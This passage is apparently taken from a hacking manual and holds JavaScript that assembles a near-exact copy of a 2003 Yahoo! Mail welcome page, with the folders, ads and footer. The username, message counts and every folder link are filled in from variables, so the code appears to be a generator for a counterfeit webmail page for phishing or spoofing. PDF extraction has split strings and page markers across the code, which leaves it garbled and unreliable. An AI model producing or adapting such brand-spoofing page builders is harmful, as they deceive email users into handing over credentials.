clrar.value+=" if (nn_asc > 128) {n"
clrar.value+=" nn_escaped += nn.charAt(i);n"
clrar.value+=" } else {n"
clrar.value+=" nn_escaped += escape(nn.charAt(i));n"
clrar.value+=" }n"
clrar.value+=" }nn"
clrar.value+=" var str = "+K+"/ym/Folders?ADD=1&Name="+K+" + nn_escaped +
"+K+"&.crumb=QwcGQPZ3xYZ&.done="+K+" + escape(document.URL) +
"+K+"&YY=33422"+K+";n"
clrar.value+=" window.open(str, "+K+"_top"+K+");n"
clrar.value+=" }n"
clrar.value+=" }nn"
clrar.value+=" function TogglePersonal()n"
clrar.value+=" {n"
clrar.value+=" window.open(n"
clrar.value+=" "+K+"/ym/Welcome?pers=1&.done="+K+" n"
clrar.value+=" + n"
clrar.value+=" escape(document.URL) n"
clrar.value+=" + n"
clrar.value+=" "+K+"&YY=33422"+K+", n"
clrar.value+=" "+K+"_top"+K+"n"
clrar.value+=" );n"
clrar.value+=" }n"
clrar.value+=" </"+F+"CRIPT>n"
clrar.value+="<TABLE cellSpacing=0 cellPadding=2 width="+K+"100%"+K+"
border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD height=6></TD></TR>n"
clrar.value+=" <TR class=ftitle>n"
clrar.value+=" <TD colSpan=2> <A n"
clrar.value+="
href="+K+"http://us.f137.mail.yahoo.com/ym/Folders?YY=33422"+K+"><B>Folder
s</B></A> n"
clrar.value+=" <SMALL>[<A
href="+K+"javascript:AddFolder()"+K+">Add</A>]</SMALL> </TD></TR>n"
clrar.value+=" <TR class=flo>n"
clrar.value+=" <TD noWrap width="+K+"1%"+K+"> <IMG height=16 n"
clrar.value+=" src="+K+"inbc1.gif"+K+" width=16> n"
clrar.value+=" </TD>n"
clrar.value+=" <TD><A href="+K+""+b2.value+""+K+"><B>Inbox
("+b4.value+")</B></A> </TD></TR>n"
http://wWw.Hack.Cf Page 101
clrar.value+=" <TR class=flo>n"
clrar.value+=" <TD noWrap width="+K+"1%"+K+"> <IMG height=16 n"
clrar.value+=" src="+K+"dftc1.gif"+K+" width=16> n"
clrar.value+=" </TD>n"
clrar.value+=" <TD><A href="+K+""+b2.value+""+K+">Draft</A> n"
clrar.value+=" </TD></TR>n"
clrar.value+=" <TR class=flo>n"
clrar.value+=" <TD noWrap width="+K+"1%"+K+"> <IMG height=16 n"
clrar.value+=" src="+K+"sntc1.gif"+K+" width=16> n"
clrar.value+=" </TD>n"
clrar.value+=" <TD><A n"
clrar.value+=" href="+K+""+b2.value+""+K+">Sent</A> n"
clrar.value+=" </TD></TR>n"
clrar.value+=" <TR class=flo>n"
clrar.value+=" <TD noWrap width="+K+"1%"+K+"> <IMG height=16 n"
clrar.value+=" src="+K+"blkc1.gif"+K+" width=16> n"
clrar.value+=" </TD>n"
clrar.value+=" <TD><A href="+K+""+b2.value+""+K+"><B>Bulk
("+b5.value+")</B></A>n"
clrar.value+=" <SMALL>[<A
href="+K+""+b2.value+""+K+">Empty</A>]</SMALL> n"
clrar.value+=" </TD></TR>n"
clrar.value+=" <TR class=flo>n"
clrar.value+=" <TD noWrap width="+K+"1%"+K+"> <IMG height=16 n"
clrar.value+=" src="+K+"tshc1.gif"+K+" width=16> n"
clrar.value+=" </TD>n"
clrar.value+=" <TD><A n"
clrar.value+=" href="+K+""+b2.value+""+K+">Trash</A> n"
clrar.value+=" <SMALL>[<A n"
clrar.value+=" href="+K+""+b2.value+""+K+">Empty</A>]</SMALL> n"
clrar.value+=" </TD></TR>n"
clrar.value+=" <TR>n"
clrar.value+="<TD colSpan=2 height=5><IMG height=5 alt="+K+""+K+" n"
clrar.value+=" src="+K+"space.gif"+K+" width=5> n"
clrar.value+=" </TD></TR>n"
clrar.value+=" <TR class=flo>n"
clrar.value+=" <TD colSpan=2><!--X-->n"
clrar.value+=" <P>n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD><A n"
clrar.value+="
href="+K+"http://rd.yahoo.com/M=245829.2916373.4772318.2058947/D=mail/S=
150500014:SW1/A=1643659/R=0/SIG=12aln3g86/*https://qspace.iplace.com/cobr
ands/27/order1_1.asp?p=1&amp;afd=3&amp;sc=1485sb09"+K+" n"
clrar.value+=" target=_blank><IMG height=25 n"
clrar.value+=" src="+K+"stickey25.gif"+K+" n"
http://wWw.Hack.Cf Page 102
clrar.value+=" width=25 border=0></A></TD>n"
clrar.value+=" <TD><A n"
clrar.value+="
href="+K+"http://rd.yahoo.com/M=245829.2916373.4772318.2058947/D=mail/S=
150500014:SW1/A=1643659/R=1/SIG=12aln3g86/*https://qspace.iplace.com/cobr
ands/27/order1_1.asp?p=1&amp;afd=3&amp;sc=1485sb09"+K+" n"
clrar.value+=" target=_blank><FONT size=2><B>Check Your <BR>Credit For n"
clrar.value+=" Free</B></FONT></A> </TD></TR></TBODY></TABLE><!--X--
></P></TD></TR>n"
clrar.value+=" <TR class=flo>n"
clrar.value+=" <TD colSpan=2>n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD><A n"
clrar.value+="
href="+K+"http://rd.yahoo.com/M=254576.3497087.4782774.2046184/D=mail/S=
150500014:SW2/A=1455139/R=0/SIG=12lvho5g2/*http://www.servicemagic.com/s
ervlet/RedirectServlet?m=yahoo&amp;D=HOME&amp;entry_point_id=7"+K+" n"
clrar.value+=" target=_blank><IMG height=25 n"
clrar.value+=" src="+K+"icon121.gif"+K+" n"
clrar.value+=" width=25 border=0></A></TD>n"
clrar.value+=" <TD><A n"
clrar.value+="
href="+K+"http://rd.yahoo.com/M=254576.3497087.4782774.2046184/D=mail/S=
150500014:SW2/A=1455139/R=1/SIG=12lvho5g2/*http://www.servicemagic.com/s
ervlet/RedirectServlet?m=yahoo&amp;D=HOME&amp;entry_point_id=7"+K+" n"
clrar.value+=" target=_blank><FONT size=2>Rated Home<BR>Contractors n"
clrar.value+=" </FONT></A></TD></TR></TBODY></TABLE></TD></TR>n"
clrar.value+=" <TR class=flo>n"
clrar.value+=" <TD colSpan=2>n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD><A n"
clrar.value+="
href="+K+"http://rd.yahoo.com/M=236179.2446108.3884432.2070966/D=mail/S=
150500014:SW3/A=1657277/R=0/SIG=10svmjo69/*http://efax.mail.yahoo.com"+K
+" n"
clrar.value+=" target=_blank><IMG height=25 n"
clrar.value+=" src="+K+"efax_man_july.gif"+K+" n"
clrar.value+=" width=25 border=0></A></TD>n"
clrar.value+=" <TD><A n"
clrar.value+="
href="+K+"http://rd.yahoo.com/M=236179.2446108.3884432.2070966/D=mail/S=
150500014:SW3/A=1657277/R=1/SIG=10svmjo69/*http://efax.mail.yahoo.com"+K
+" n"
clrar.value+=" target=_blank><FONT size=2>FREE Fax Number<BR>For Your Y!
n"
clrar.value+=" Mail</FONT></A>
http://wWw.Hack.Cf Page 103
</TD></TR></TBODY></TABLE></TD></TR>n"
clrar.value+=" <TR class=flo>n"
clrar.value+=" <TD colSpan=2><!--X-->n"
clrar.value+=" <P>n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD><A n"
clrar.value+="
href="+K+"http://rd.yahoo.com/M=246920.3523192.4803779.2135186/D=mail/S=
150500014:SW4/A=1642781/R=0/SIG=12kppu53p/*http://www.gotomypc.com/u/t
r/yh/cpm/mail/SW4/25x25PC_10/g22lp?Target=mm/g22lp.tmpl"+K+"><IMG n"
clrar.value+=" height=25 n"
clrar.value+=" src="+K+"25x25_PC-icon.gif"+K+" n"
clrar.value+=" width=25 border=0></A></TD>n"
clrar.value+=" <TD><A n"
clrar.value+="
href="+K+"http://rd.yahoo.com/M=246920.3523192.4803779.2135186/D=mail/S=
150500014:SW4/A=1642781/R=1/SIG=12hdrnou3/*http://www.gotomypc.com/u/tr
/yh/cpm/mail/SW4/25chtext10/PC?Target=mm/g22lp.tmpl"+K+" n"
clrar.value+=" target=_blank><FONT size=2>Access Your Office <BR>Files from
n"
clrar.value+=" Home</FONT></A> n"
clrar.value+=" </TD></TR></TBODY></TABLE><!--X--
></P></TD></TR></TBODY></TABLE></TD>n"
clrar.value+=" <TD class=bgd width=8 bgColor=#9bbad6><IMG height=2 n"
clrar.value+=" src="+K+"space.gif"+K+" width=8></TD>n"
clrar.value+=" <TD vAlign=top>n"
clrar.value+="<TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+"
border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD bgColor=white>n"
clrar.value+=" <DIV class=bgd style="+K+"WIDTH: 5px; HEIGHT:
5px"+K+"><IMG height=5 n"
clrar.value+=" src="+K+"rdul1.gif"+K+" n"
clrar.value+=" width=5></DIV></TD></TR></TBODY></TABLE>n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=4 width="+K+"100%"+K+"
bgColor=white border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD vAlign=top>n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=4 width="+K+"100%"+K+"
border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD class=mtitle colSpan=2>Welcome, "+b7.value+"
</TD></TR>n"
clrar.value+=" <TR vAlign=top>n"
clrar.value+=" <TD align=middle width=28><IMG height=18 n"
http://wWw.Hack.Cf Page 104
clrar.value+=" src="+K+"newmail1.gif"+K+" n"
clrar.value+=" width=28> </TD>n"
clrar.value+=" <TD vAlign=top>You have <B>"+b6.value+" unread
messages</B>:<BR><B><A n"
clrar.value+="
href="+K+""+b2.value+""+K+">Inbox&nbsp;("+b4.value+")</A></B>,&nbsp; n"
clrar.value+=" <B><A n"
clrar.value+="
href="+K+""+b2.value+""+K+">Bulk&nbsp;("+b5.value+")</A></B>&nbsp; n"
clrar.value+=" </TD></TR>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD colSpan=2 height=5><IMG height=5 n"
clrar.value+=" src="+K+"space.gif"+K+" n"
clrar.value+=" width=1></TD></TR></TBODY></TABLE>n"
clrar.value+=" <TABLE cellSpacing=6 cellPadding=0 border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD vAlign=top><IMG height=16 n"
clrar.value+=" src="+K+"bulb1.gif"+K+" n"
clrar.value+=" width=16> </TD>n"
clrar.value+=" <TD><B>Today's tip: </B>Before you click "+K+"Send,"+K+" ask
yourself n"
clrar.value+=" if each and every recipient will want to read your n"
clrar.value+=" email.</TD></TR></TBODY></TABLE>n"
clrar.value+=" <CENTER>n"
clrar.value+=" <DIV class=bgd style="+K+"MARGIN: 8px; WIDTH: 90%; HEIGHT:
1px"+K+"><SPACER n"
clrar.value+=" height="+K+"1"+K+" width="+K+"1"+K+"
type="+K+"block"+K+"></DIV></CENTER>n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=4 width="+K+"100%"+K+"
border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD>n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+" n"
clrar.value+=" bgColor=#ffffff border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+="<TD width=68><A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com//mail_us/upgrade/evt=8754/*http://mailplus.m
ail.yahoo.com/mp_splash_launch.php?b=lv"+K+" n"
clrar.value+=" target=_blank><IMG height=60 n"
clrar.value+=" src="+K+"sp_storage60_1.gif"+K+" n"
clrar.value+=" width=68 border=0></A></TD>n"
clrar.value+=" <TD noWrap>&nbsp;&nbsp;</TD>n"
clrar.value+=" <TD vAlign=top><A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com//mail_us/upgrade/evt=8754/*http://mailplus.m
http://wWw.Hack.Cf Page 105
ail.yahoo.com/mp_splash_launch.php?b=lv"+K+" n"
clrar.value+=" target=_blank><IMG height=18 n"
clrar.value+=" src="+K+"hd_storage_1.gif"+K+" n"
clrar.value+=" width=220 vspace=3 border=0></A><BR>For those of you who n"
clrar.value+=" can't throw anything away. <NOBR><B><A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com//mail_us/upgrade/evt=8754/*http://mailplus.m
ail.yahoo.com/mp_splash_launch.php?b=lv"+K+" n"
clrar.value+=" target=_blank>Learn n"
clrar.value+=" more</A></B></NOBR></TD></TR></TBODY></TABLE><BR>n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=1 width=300 bgColor=#057ebc
n"
clrar.value+=" border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <FORM style="+K+"MARGIN-TOP: 0px; MARGIN-BOTTOM:
0px"+K+" n"
clrar.value+="
action=http://pa.yahoo.com/*http://rd.yahoo.com/personals/ext/evt=8120/*http://
personals.yahoo.com/display n"
clrar.value+=" target=_blank><INPUT type=hidden value=mantle n"
clrar.value+=" name=frommod><INPUT type=hidden value=table n"
clrar.value+=" name=ct_hft><INPUT type=hidden value=-dregion- n"
clrar.value+=" name=cr><INPUT type=hidden value=2 name=advs><INPUT n"
clrar.value+=" type=hidden value=1 name=form><INPUT type=hidden value=0 n"
clrar.value+=" name=twoway><INPUT type=hidden value=y name=purlf>n"
clrar.value+=" <TD>n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+" n"
clrar.value+=" bgColor=#c8e9f8 border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD width=108 bgColor=#057ebc><A n"
clrar.value+="
href="+K+"http://pa.yahoo.com/*http://rd.yahoo.com/personals/ext/evt=8122/*htt
p://personals.yahoo.com/"+K+"><IMG n"
clrar.value+=" height=58 alt="+K+"Yahoo! Personals"+K+" n"
clrar.value+=" src="+K+"couple_blu_e.gif"+K+" n"
clrar.value+=" width=107 border=0></A></TD>n"
clrar.value+=" <TD align=middle>n"
clrar.value+=" <TABLE cellSpacing=2 cellPadding=0 border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD noWrap><FONT face=arial size=-1>I'm <SELECT n"
clrar.value+=" name=ce_p><OPTION value=Woman n"
clrar.value+=" selected>W</OPTION><OPTION n"
clrar.value+=" value=Man>M</OPTION></SELECT> seeking <SELECT n"
clrar.value+=" name=ce_g><OPTION value=Man n"
clrar.value+=" selected>M</OPTION><OPTION n"
clrar.value+=" value=Woman>W</OPTION></SELECT></FONT></TD></TR>n"
clrar.value+=" <TR>n"
http://wWw.Hack.Cf Page 106
clrar.value+=" <TD noWrap><FONT face=arial size=-1>Zip: <INPUT n"
clrar.value+=" maxLength=80 size=6 name=.pcsz>&nbsp;<INPUT type=submit
value=Search
name=Action></FONT></TD></TR></TBODY></TABLE></TD></TR></TBODY>
</TABLE></TD></FORM></TR></TBODY></TABLE></TD></TR></TBODY></TA
BLE></TD>n"
clrar.value+=" <TD vAlign=top width=300 bgColor=white><SMALL>You are using
n"
clrar.value+=" <B>15%</B> of your <B>4.0MB</B> limit.</SMALL> n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=1 width="+K+"100%"+K+"
bgColor=black n"
clrar.value+=" border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+="<TR>n"
clrar.value+=" <TD>n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+"
border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD n"
clrar.value+=" style="+K+"BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-
LEFT: 0px; BORDER-BOTTOM: 0px"+K+" n"
clrar.value+=" width="+K+"15%"+K+" bgColor=green height=10><SPACER
height="+K+"8"+K+" n"
clrar.value+=" width="+K+"2"+K+" type="+K+"block"+K+"></TD>n"
clrar.value+=" <TD n"
clrar.value+=" style="+K+"BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-
LEFT: 0px; BORDER-BOTTOM: 0px"+K+" n"
clrar.value+=" width="+K+"85%"+K+" bgColor=white height=10><SPACER
height="+K+"8"+K+" n"
clrar.value+=" width="+K+"2"+K+" n"
clrar.value+="
type="+K+"block"+K+"></TD></TR></TBODY></TABLE></TD></TR></TBODY>
</TABLE><NOBR><A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/mail_us/welcome/storage/evt=194/*https://ord
ering.yahoo.com/or/ypm/splash?577&amp;Pkgs=us:ym:space&amp;.osig=3Anzm"+
K+" n"
clrar.value+=" target=_blank><B>Get a bigger mailbox</B></A> for only
$9.99/year! n"
clrar.value+=" </NOBR><BR><BR>n"
clrar.value+=" <CENTER>n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD align=middle><FONT face=arial n"
clrar.value+=" size=-2>ADVERTISEMENT</FONT><BR><A n"
clrar.value+="
http://wWw.Hack.Cf Page 107
href="+K+"http://rd.yahoo.com/M=256608.3514699.4796402.1433188/D=mail/S=
150500014:LREC/A=1642149/R=0/SIG=1339il57r/*http://ads.x10.com/?type=href
&amp;lineid=3514699&amp;property=mail&amp;aposition=LREC&amp;random=10
57492859486309"+K+"><IMG n"
clrar.value+=" height=250 alt="+K+""+K+" n"
clrar.value+=" src="+K+"300x250ddaaq.gif"+K+" n"
clrar.value+=" width=300 n"
clrar.value+="
border=0></A></TD></TR></TBODY></TABLE></CENTER><BR></TD></TR><
/TBODY></TABLE></TD>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD class=bgd bgColor=#9bbad6 colSpan=2><IMG height=2
alt="+K+""+K+" n"
clrar.value+=" src="+K+"space.gif"+K+" width=40></TD>n"
clrar.value+=" <TD vAlign=top bgColor=white>n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR class=bgd bgColor=#9bbad6>n"
clrar.value+=" <TD width=5 height=5><IMG height=5 alt="+K+""+K+" n"
clrar.value+=" src="+K+"rddl1.gif"+K+" n"
clrar.value+="
width=5></TD></TR></TBODY></TABLE></TD></TR></TR></TBODY></TABLE
><!-- SpaceID=150500014 loc=PU noad -->n"
clrar.value+="<TABLE cellSpacing=0 cellPadding=4 width="+K+"100%"+K+"
border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR class=bgd bgColor=#e4ecf6>n"
clrar.value+=" <TD align=left>n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=2 border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD class=tbutton n"
clrar.value+="
onclick="+K+"window.open('/ym/ShowFolder?rb=Inbox&amp;YY=33422&amp;YN=
1', '_top')"+K+" n"
clrar.value+=" width=100><A n"
clrar.value+="
href="+K+"http://us.f137.mail.yahoo.com/ym/ShowFolder?rb=Inbox&amp;reset=1
&amp;YY=33422&amp;YN=1"+K+">Check n"
clrar.value+=" Mail</A> </TD>n"
clrar.value+=" <TD>&nbsp;</TD>n"
clrar.value+=" <TD class=tbutton n"
clrar.value+=" onclick="+K+"window.open('/ym/Compose?YY=33422', '_top')"+K+"
width=100><A n"
clrar.value+="
href="+K+"http://us.f137.mail.yahoo.com/ym/Compose?YY=33422"+K+">Compose
</A>n"
clrar.value+=" </TD></TR></TBODY></TABLE></TD>n"
clrar.value+=" <TD vAlign=bottom align=right>n"
clrar.value+=" <TABLE cellSpacing=0 cellPadding=4 border=0>n"
http://wWw.Hack.Cf Page 108
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD class=bge bgColor=#e4ecf6><A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/mail_us/nav/?http://billing.mail.yahoo.com/bm/
Upgrades"+K+" n"
clrar.value+=" target=_blank>Mail Upgrades</A> - <A n"
clrar.value+="
href="+K+"http://us.f137.mail.yahoo.com/ym/Search?YY=33422"+K+">Search n"
clrar.value+=" Mail</A> - <A n"
clrar.value+="
href="+K+"http://us.f137.mail.yahoo.com/ym/Options?YY=33422"+K+"><B>Mail
n"
clrar.value+="
Options</B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TAB
LE>n"
clrar.value+="<CENTER>n"
clrar.value+="<TABLE cellSpacing=0 cellPadding=4 border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD><A n"
clrar.value+="
href="+K+"http://us.f137.mail.yahoo.com/ym/Welcome?YY=33422"+K+">Mail</A
>&nbsp;- n"
clrar.value+=" &nbsp;<A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/mail_us/footer/ab/?http://address.yahoo.com/y
ab/us"+K+">Address n"
clrar.value+=" Book</A> - <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/mail_us/footer/cal/?http://calendar.yahoo.com"
+K+">Calendar</A> n"
clrar.value+=" - <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/mail_us/footer/note/?http://notepad.yahoo.com
"+K+">Notepad</A></TD></TR></TBODY></TABLE></CENTER><BR>n"
clrar.value+="<TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+"
border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR>n"
clrar.value+=" <TD bgColor=#a0b8c8>n"
clrar.value+=" <TABLE cellSpacing=1 cellPadding=1 width="+K+"100%"+K+"
border=0>n"
clrar.value+=" <TBODY>n"
clrar.value+=" <TR vAlign=top bgColor=#ffffff>n"
clrar.value+=" <TD align=middle><FONT face=arial size=-2><A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://address.yahoo.com/"+K+">Addre
ss&nbsp;Book</A> n"
clrar.value+=" · <A n"
http://wWw.Hack.Cf Page 109
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://auctions.yahoo.com/"+K+">Aucti
ons</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://autos.yahoo.com/"+K+">Autos</
A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://briefcase.yahoo.com/"+K+">Brief
case</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://calendar.yahoo.com/"+K+">Cale
ndar</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://chat.yahoo.com/"+K+">Chat</A
> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://classifieds.yahoo.com/"+K+">Cla
ssifieds</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://finance.yahoo.com/"+K+">Financ
e</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://games.yahoo.com/"+K+">Games
</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://geocities.yahoo.com/"+K+">Geoc
ities</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://greetings.yahoo.com/"+K+">Gre
etings</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://groups.yahoo.com/"+K+">Group
s</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://health.yahoo.com/"+K+">Health
</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://astrology.yahoo.com/yastro/"+K+
http://wWw.Hack.Cf Page 110
">Horoscopes</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://hotjobs.yahoo.com/"+K+">HotJo
bs</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://www.yahooligans.com/"+K+">Ki
ds</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://mail.yahoo.com/"+K+">Mail</A>
n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://maps.yahoo.com/"+K+">Maps</
A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://members.yahoo.com/"+K+">Me
mber&nbsp;Directory</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://messenger.yahoo.com/"+K+">Me
ssenger</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://mobile.yahoo.com/"+K+">Mobile
</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://movies.yahoo.com/"+K+">Movie
s</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://launch.yahoo.com/"+K+">Music<
/A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://my.yahoo.com/"+K+">My&nbsp;
Yahoo!</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://news.yahoo.com/"+K+">News</
A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://paydirect.yahoo.com/"+K+">Pay
Direct</A> n"
clrar.value+=" · <A n"
http://wWw.Hack.Cf Page 111
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://personals.yahoo.com/"+K+">Pers
onals</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://pets.yahoo.com/"+K+">Pets</A
> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://photos.yahoo.com/"+K+">Photos
</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://platinum.yahoo.com/"+K+">Plati
num</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://shopping.yahoo.com/"+K+">Sho
pping</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://sports.yahoo.com/"+K+">Sports
</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://tv.yahoo.com/"+K+">TV</A> ·
n"
clrar.value+=" <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://travel.yahoo.com/"+K+">Travel<
/A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://weather.yahoo.com/"+K+">Weat
her</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://yp.yahoo.com/"+K+">Yellow&nbs
p;Pages</A> n"
clrar.value+=" · <A n"
clrar.value+="
href="+K+"http://us.rd.yahoo.com/footer/*http://docs.yahoo.com/docs/family/mor
e.html"+K+">more...</A></FONT></TD></TR></TBODY></TABLE></TD></TR>
</TBODY></TABLE><!-- SpaceID=150500014 loc=FOOT noad -->n"
clrar.value+="<script language=javascript> var ADFadids =
"+K+"1522466,1522468,1453288,1453290,1579788,1643659,1455139,1657277,16
42781,1642149,1544483,1052425"+K+"; function ADFlaunch() {var w; var
l="+K+"http://rd.yahoo.com/M=224039.2020109.3495275.1958505/D=mail/S=150
500014:FOOT2/A=1052425/R=0/id=adfeedback/SIG=12ecvkvil/*http://promo.yaho
o.com/adfeedback/?page=150500014:FOOT2&property=mail&adids="+K+"+ADFadi
http://wWw.Hack.Cf Page 112
ds;
w=window.open(l,"+K+"AdFeedbackWin"+K+","+K+"toolbar=no,scrollbars=yes,resi
zable,location=no,height=400,width=640"+K+"); }</"+F+"CRIPT>n"
clrar.value+="<CENTER><SMALL><BR>Copyright © 1994-2003 <A n"
clrar.value+="href="+K+"http://rd.yahoo.com/M=224039.2020109.3495275.19585
05/D=mail/S=150500014:FOOT2/A=1052425/R=1/SIG=11n7g195d/*http://rd.yaho
o.com/mail_us/tos/?http://www.yahoo.com"+K+" n"
clrar.value+="target=_blank>Yahoo!</A> Inc. All rights reserved. <A n"
clrar.value+="href="+K+"http://rd.yahoo.com/M=224039.2020109.3495275.19585
05/D=mail/S=150500014:FOOT2/A=1052425/R=2/SIG=1136qnvkg/*http://docs.ya
hoo.com/info/terms/"+K+">Terms n"
clrar.value+="of Service</A> - <A n"
clrar.value+="href="+K+"http://rd.yahoo.com/M=224039.2020109.3495275.19585
05/D=mail/S=150500014:FOOT2/A=1052425/R=3/SIG=11lp7krrc/*http://docs.yah
oo.com/info/copyright/copyright.html"+K+">Copyright n"
clrar.value+="Policy</A> - <A n"
clrar.value+="href="+K+"http://rd.yahoo.com/M=224039.2020109.3495275.19585
05/D=mail/S=150500014:FOOT2/A=1052425/R=4/SIG=11he80eif/*http://docs.yah
oo.com/info/guidelines/mail.html"+K+">Guidelines</A> n"
clrar.value+="- <A href="+K+"javascript:ADFlaunch()"+K+">Ad
Feedback</A><BR>NOTICE: We collect n"
clrar.value+="personal information on this site.<BR>To learn more about how we
